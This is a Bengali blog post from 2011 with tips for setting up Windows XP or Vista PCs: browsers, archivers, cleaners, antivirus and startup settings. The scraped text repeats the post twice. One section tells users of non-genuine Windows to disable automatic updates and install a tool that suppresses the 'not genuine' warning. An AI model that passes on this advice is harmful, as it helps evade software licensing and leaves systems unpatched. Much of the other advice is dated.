অনেক Blog এ দেখেছি যে বাজারে যে CD/DVD পাওয়া তা Windows XP ও Windows Vista এর modify করে install করার আগ্রহ তৈরী করার চেস্টা করে। এসব modify CD/DVD তে কিছু আকষর্নীয় থিম দেয়া থাকে আর থাকে কিছু software এর পুরাতন version. এসব থিমের লোভে পড়ে modified Windows XP বা Windows Vista install দিয়ে পড়ে মাথা চাপড়ান। কারন এত আপনার Computer এর performance কমে যায়। এসব অপারেটিং System এ এমনও হয় যে, কোন program খোলা না থাকলেও কয়েকশত মেগা RAM খেয়ে বসে থাকে। তাই এধরনের modified Windows XP বা Windows Vista install দেয়া থেকে বিরত থাকুন। শুধুমাত্র original Windows XP বা Windows Vista install দিন। এবং অবশ্যই খেয়াল রাখবেন Windows XP বা Windows Vista টি যেন latest হয়। যেমন: Windows XP service Pack 3 বা Windows Vista service Pack 1.
2. ব্রাউজার:
Internet Explorer হল আদি ব্রাউজার এবং এটি ধীর গতি সম্পন্ন । একই সাথে এটি ভাইরাসের FREE Rider. আর Mozilla Firefox দ্রুত এবং নিরাপদ। একই সাথে আছে আরো অনেক add on সুবিধা। এছাড়াও আপনি Opera ব্যবহার করতে পারেন।
Download:
3. WinZip / WinRAR:
প্রশ্ন হল আপনি কোনটা install দিবেন? নাকি দুইটাই? উত্তর হল WinRAR কারণ এটি দিয়ে আপনি Zip ও RAR ফাইল খুলতে পারবেন। কিন্তু WinZip দিয়ে আপনি Zip খুলতে পারবেন। আরো ভাল হয় যদি 7zip ব্যবহার করেন।
Download:
4. কিছু জরুরী software:
Windows set up দেয়ার পর আপনি কিছু software এর অভাব অনুভব করবেন। এগুলো হল: Adobe flash player, adobe shockwave, java directX. আমরা অনেকেই একটা জিনিস জানিনা তাহল Internet Explorer ও Mozilla Firefox এর জন্য Adobe flash player আলাদা version. মনে রাখরেন Adobe flash player না থাকলে আপনি Youtube , Facebook এর মত জনপ্রিয় সাইটগুলোতে কার্যত কিছুই করতে পারবেন না। Computer এ সবসময় এগুলোর latest version install দিন।
Download:
- Adobe flash player (Internet Explorer)
- Adobe flash player (Mozilla Firefox)
- Adobe shockwave
- Java
- directX
5. পরিস্কার পরিচ্ছন্নতা কার্যক্রম:
Computer পরিস্কার পরিচ্ছন্নতা রাখতে CCleaner এর জুরি নেই। এটি নিমিষেই অপ্রয়োজনীয় ফাইল মুছে ফেলে। এচাড়াও আপনি নিচের registry cleaner গুলো ব্যবহার করতে পারেন।
6. Internet Speed বৃদ্ধি:
কারো সাধ্য নেই আপনার আপনাকে ISP আপনাকে যে Speed দিবে তার থেকে নেটের Speed বাড়িয়ে দিবে। তবে তার পূর্ন ব্যবহার করা সম্ভব। আপনি যদি জেনুইন Windows XP বা Windows Vista এর মালিক না হন তবে অটোমেটিক আপডেট CTN বন্ধ করে রাখেন। না হলে এটি automatic update নেয়। ফলে আপনার Internet Speed কমে যায়। আর যদি এটি বন্ধ করে না রাখেন তবে একদিন দেখবেন নিচের Message দেখাবে :
You may be victim of software counterfeiting. This copy of Windows is not genuine.
এই software টি install করে এ সমস্যার সমাধান করতে পারবেন। ভাল Antivirus ব্যবহার করুন। পারলে Antivirus কিনে ব্যবহার করুন। কারন আপনি যত বছরেরই free Antivirus use করেন না কেন তা আপনাকে সঠিক সুরক্ষা দিবে না। এবং Antivirus আবশ্যই automatic update দিয়ে রাখবেন।
7. আজাইড়া software set up দেয়া থেকে বিরত থাকুন:
আমরা অনেকেই power DVD বা WinDVD এর মত ভারী software set up দেই। আপনার গ্রাফিক্স কার্ড কি HD? আপনি কি Blu-ray ডিক্স বা HD DVD চালাবেন? নাহলে এসব software set up করা থেকে বিরত থাকুন। এগুলো আপার PC কে slow করে।
আপনি VLC Player বা KMP Player ব্যবহার করতে পারেন। তাহলে আর অন্য কোন Player এর দরকার হবে না।
Adobe PDF Reader ব্যবহার করা থেকে বিরত থাকুন। কারন Adobe PDF Reader 7 virsion এর পর থেকে এটি slow হয়ে গেছে। আপনি Foxit PDF Reader ব্যবহার করতে পারেন।
ACDSee হলো আরেকটি আকাইমা software. এর চাইতে ছোট ও কাজের অনেক software আছে। যেমন: IrfanView.
Download:
8. Antivirus ব্যবহার ও সুরক্ষা:
Free antivirus ব্যবহার করলে Avast বা Avira ব্যবহার করাই ভাল। ভাল Antivirus ব্যবহার করুন। পারলে Antivirus কিনে ব্যবহার করুন। কারন আপনি যত বছরেরই free Antivirus use করেন না কেন তা আপনাকে সঠিক সুরক্ষা দিবে না। এবং Antivirus আবশ্যই automatic update দিয়ে রাখবেন।
- এতো কিছুর পরও আপনার Computer slow:
Computer চালু করার সময় কিছু অপ্রয়োজনীয় software একসাথে চালু হয়। সেগুলোর অনেকটিই আবার Task Bar এ ঘাপটি মেরে বসে থাকে। তাই অপ্রয়োজনীয় software গুলো যাতে Computer চালু করার সময় open না হয় তার ব্যবস্থা নিন। এ জন্য Start Manu থেকে Run গিয়ে লিখুন msconfig এবং enter চাপুন।
Startup নামক tab থেকে Computer চালু করার সময় যে সকল software open করতে না চান সেগুলো থেকে টিক উঠিয়ে দিন।
10. সবশেষে:
Desktop এ যতটা সম্ভব কম Icon রাখুন। দরকার হলে আলাদা আলাদা folder এ short cut icon গুলো রাখুন। folder গুলো categories অনুযায়ী নাম রাখুন। যেমন: Internet Software, Utility Software, Player and Converter . Internet থেকে যা পাবেন তাই download দিবেন না। যাচাই বাছাই করে নিবেন।
Mozilla Firefox ব্যবহার করলে Adblock add on টি ব্যবহার করুন।
অপারেটিং System যে ড্রাইভে আছে ঠেকায় না পড়লে সে ড্রাইভে Software Install দিবেন না। সব Important file অপারেটিং System ড্রাইভে বা C Drive ব্যতিত অন্য কোন Drive এ রাখুন।
কষ্ট করে পড়ার জন্য ধন্যবাদ। এই নিরস লেখা পড়ে অনেকেই হয়ত জিমিয়ে পড়েছেন।
তাই আপনাদের জন্য একটি ছোট কেীতুক :
এক লোক রাস্তায় দাড়ানো আর এক লোক কে জিজ্ঞেস করল,
ভাই বলেন তো রাস্তাটির দৈর্ঘ্ যদি হয় 20 মিটার
এবং রাস্তাটি পার হতে আমার সময় লাগে যদি 5 মিনিট
তাহলে আমার বয়স কত?
লোকটি হাসি মুখে জবাব দিল আপনার বয়স 24 বছর।
প্রথম লোকটি এবার জিজ্ঞেস করল, কিভাবে ঞল?
2য় লোকটি জবাব দিল- আমার এক ভাই আছে half পাগল , তার বয়স 12 বছর । আর আপনি full পাগল , সুতরাং
আপনার বয়স তার দ্বিগুন।
টিউন করেছেন : abusufian | প্রকাশিত হয়েছে : ৭ জুন, ২০১১ | 2,880 বার দেখা হয়েছে | 48
প্রতিবার যখন আমরা নতুন করে Computer set up দেই ভাবি এবার আজেবাজে কোন software set up দেব না। কিন্তু প্রতিবারই আমরা আমাদের প্রতিজ্ঞা ভাঙ্গি, ফলে আমাদের Computer হয়ে যায় slow. ফলে আবার set up দেই। এব্যাপারে আমার কিছু মতামত আছে যা আজকে তুলে ধরার চেস্টা করেছি:
1. অপারেটিং System:
অনেক Blog এ দেখেছি যে বাজারে যে CD/DVD পাওয়া তা Windows XP ও Windows Vista এর modify করে install করার আগ্রহ তৈরী করার চেস্টা করে। এসব modify CD/DVD তে কিছু আকষর্নীয় থিম দেয়া থাকে আর থাকে কিছু software এর পুরাতন version. এসব থিমের লোভে পড়ে modified Windows XP বা Windows Vista install দিয়ে পড়ে মাথা চাপড়ান। কারন এত আপনার Computer এর performance কমে যায়। এসব অপারেটিং System এ এমনও হয় যে, কোন program খোলা না থাকলেও কয়েকশত মেগা RAM খেয়ে বসে থাকে। তাই এধরনের modified Windows XP বা Windows Vista install দেয়া থেকে বিরত থাকুন। শুধুমাত্র original Windows XP বা Windows Vista install দিন। এবং অবশ্যই খেয়াল রাখবেন Windows XP বা Windows Vista টি যেন latest হয়। যেমন: Windows XP service Pack 3 বা Windows Vista service Pack 1.
2. ব্রাউজার:
Internet Explorer হল আদি ব্রাউজার এবং এটি ধীর গতি সম্পন্ন । একই সাথে এটি ভাইরাসের FREE Rider. আর Mozilla Firefox দ্রুত এবং নিরাপদ। একই সাথে আছে আরো অনেক add on সুবিধা। এছাড়াও আপনি Opera ব্যবহার করতে পারেন।
Download:
3. WinZip / WinRAR:
প্রশ্ন হল আপনি কোনটা install দিবেন? নাকি দুইটাই? উত্তর হল WinRAR কারণ এটি দিয়ে আপনি Zip ও RAR ফাইল খুলতে পারবেন। কিন্তু WinZip দিয়ে আপনি Zip খুলতে পারবেন। আরো ভাল হয় যদি 7zip ব্যবহার করেন।
Download:
4. কিছু জরুরী software:
Windows set up দেয়ার পর আপনি কিছু software এর অভাব অনুভব করবেন। এগুলো হল: Adobe flash player, adobe shockwave, java directX. আমরা অনেকেই একটা জিনিস জানিনা তাহল Internet Explorer ও Mozilla Firefox এর জন্য Adobe flash player আলাদা version. মনে রাখরেন Adobe flash player না থাকলে আপনি Youtube , Facebook এর মত জনপ্রিয় সাইটগুলোতে কার্যত কিছুই করতে পারবেন না। Computer এ সবসময় এগুলোর latest version install দিন।
Download:
- Adobe flash player (Internet Explorer)
- Adobe flash player (Mozilla Firefox)
- Adobe shockwave
- Java
- directX
5. পরিস্কার পরিচ্ছন্নতা কার্যক্রম:
Computer পরিস্কার পরিচ্ছন্নতা রাখতে CCleaner এর জুরি নেই। এটি নিমিষেই অপ্রয়োজনীয় ফাইল মুছে ফেলে। এচাড়াও আপনি নিচের registry cleaner গুলো ব্যবহার করতে পারেন।
6. Internet Speed বৃদ্ধি:
কারো সাধ্য নেই আপনার আপনাকে ISP আপনাকে যে Speed দিবে তার থেকে নেটের Speed বাড়িয়ে দিবে। তবে তার পূর্ন ব্যবহার করা সম্ভব। আপনি যদি জেনুইন Windows XP বা Windows Vista এর মালিক না হন তবে অটোমেটিক আপডেট CTN বন্ধ করে রাখেন। না হলে এটি automatic update নেয়। ফলে আপনার Internet Speed কমে যায়। আর যদি এটি বন্ধ করে না রাখেন তবে একদিন দেখবেন নিচের Message দেখাবে :
You may be victim of software counterfeiting. This copy of Windows is not genuine.
এই software টি install করে এ সমস্যার সমাধান করতে পারবেন। ভাল Antivirus ব্যবহার করুন। পারলে Antivirus কিনে ব্যবহার করুন। কারন আপনি যত বছরেরই free Antivirus use করেন না কেন তা আপনাকে সঠিক সুরক্ষা দিবে না। এবং Antivirus আবশ্যই automatic update দিয়ে রাখবেন।
7. আজাইড়া software set up দেয়া থেকে বিরত থাকুন:
আমরা অনেকেই power DVD বা WinDVD এর মত ভারী software set up দেই। আপনার গ্রাফিক্স কার্ড কি HD? আপনি কি Blu-ray ডিক্স বা HD DVD চালাবেন? নাহলে এসব software set up করা থেকে বিরত থাকুন। এগুলো আপার PC কে slow করে।
আপনি VLC Player বা KMP Player ব্যবহার করতে পারেন। তাহলে আর অন্য কোন Player এর দরকার হবে না।
Adobe PDF Reader ব্যবহার করা থেকে বিরত থাকুন। কারন Adobe PDF Reader 7 virsion এর পর থেকে এটি slow হয়ে গেছে। আপনি Foxit PDF Reader ব্যবহার করতে পারেন।
ACDSee হলো আরেকটি আকাইমা software. এর চাইতে ছোট ও কাজের অনেক software আছে। যেমন: IrfanView.
Download:
8. Antivirus ব্যবহার ও সুরক্ষা:
Free antivirus ব্যবহার করলে Avast বা Avira ব্যবহার করাই ভাল। ভাল Antivirus ব্যবহার করুন। পারলে Antivirus কিনে ব্যবহার করুন। কারন আপনি যত বছরেরই free Antivirus use করেন না কেন তা আপনাকে সঠিক সুরক্ষা দিবে না। এবং Antivirus আবশ্যই automatic update দিয়ে রাখবেন।
- এতো কিছুর পরও আপনার Computer slow:
Computer চালু করার সময় কিছু অপ্রয়োজনীয় software একসাথে চালু হয়। সেগুলোর অনেকটিই আবার Task Bar এ ঘাপটি মেরে বসে থাকে। তাই অপ্রয়োজনীয় software গুলো যাতে Computer চালু করার সময় open না হয় তার ব্যবস্থা নিন। এ জন্য Start Manu থেকে Run গিয়ে লিখুন msconfig এবং enter চাপুন।
Startup নামক tab থেকে Computer চালু করার সময় যে সকল software open করতে না চান সেগুলো থেকে টিক উঠিয়ে দিন।
10. সবশেষে:
Desktop এ যতটা সম্ভব কম Icon রাখুন। দরকার হলে আলাদা আলাদা folder এ short cut icon গুলো রাখুন। folder গুলো categories অনুযায়ী নাম রাখুন। যেমন: Internet Software, Utility Software, Player and Converter . Internet থেকে যা পাবেন তাই download দিবেন না। যাচাই বাছাই করে নিবেন।
Mozilla Firefox ব্যবহার করলে Adblock add on টি ব্যবহার করুন।
অপারেটিং System যে ড্রাইভে আছে ঠেকায় না পড়লে সে ড্রাইভে Software Install দিবেন না। সব Important file অপারেটিং System ড্রাইভে বা C Drive ব্যতিত অন্য কোন Drive এ রাখুন।
কষ্ট করে পড়ার জন্য ধন্যবাদ। এই নিরস লেখা পড়ে অনেকেই হয়ত জিমিয়ে পড়েছেন।
তাই আপনাদের জন্য একটি ছোট কেীতুক :
এক লোক রাস্তায় দাড়ানো আর এক লোক কে জিজ্ঞেস করল,
ভাই বলেন তো রাস্তাটির দৈর্ঘ্ যদি হয় 20 মিটার
এবং রাস্তাটি পার হতে আমার সময় লাগে যদি 5 মিনিট
তাহলে আমার বয়স কত?
লোকটি হাসি মুখে জবাব দিল আপনার বয়স 24 বছর।
প্রথম লোকটি এবার জিজ্ঞেস করল, কিভাবে ঞল?
2য় লোকটি জবাব দিল- আমার এক ভাই আছে half পাগল , তার বয়স 12 বছর । আর আপনি full পাগল , সুতরাং
আপনার বয়স তার দ্বিগুন।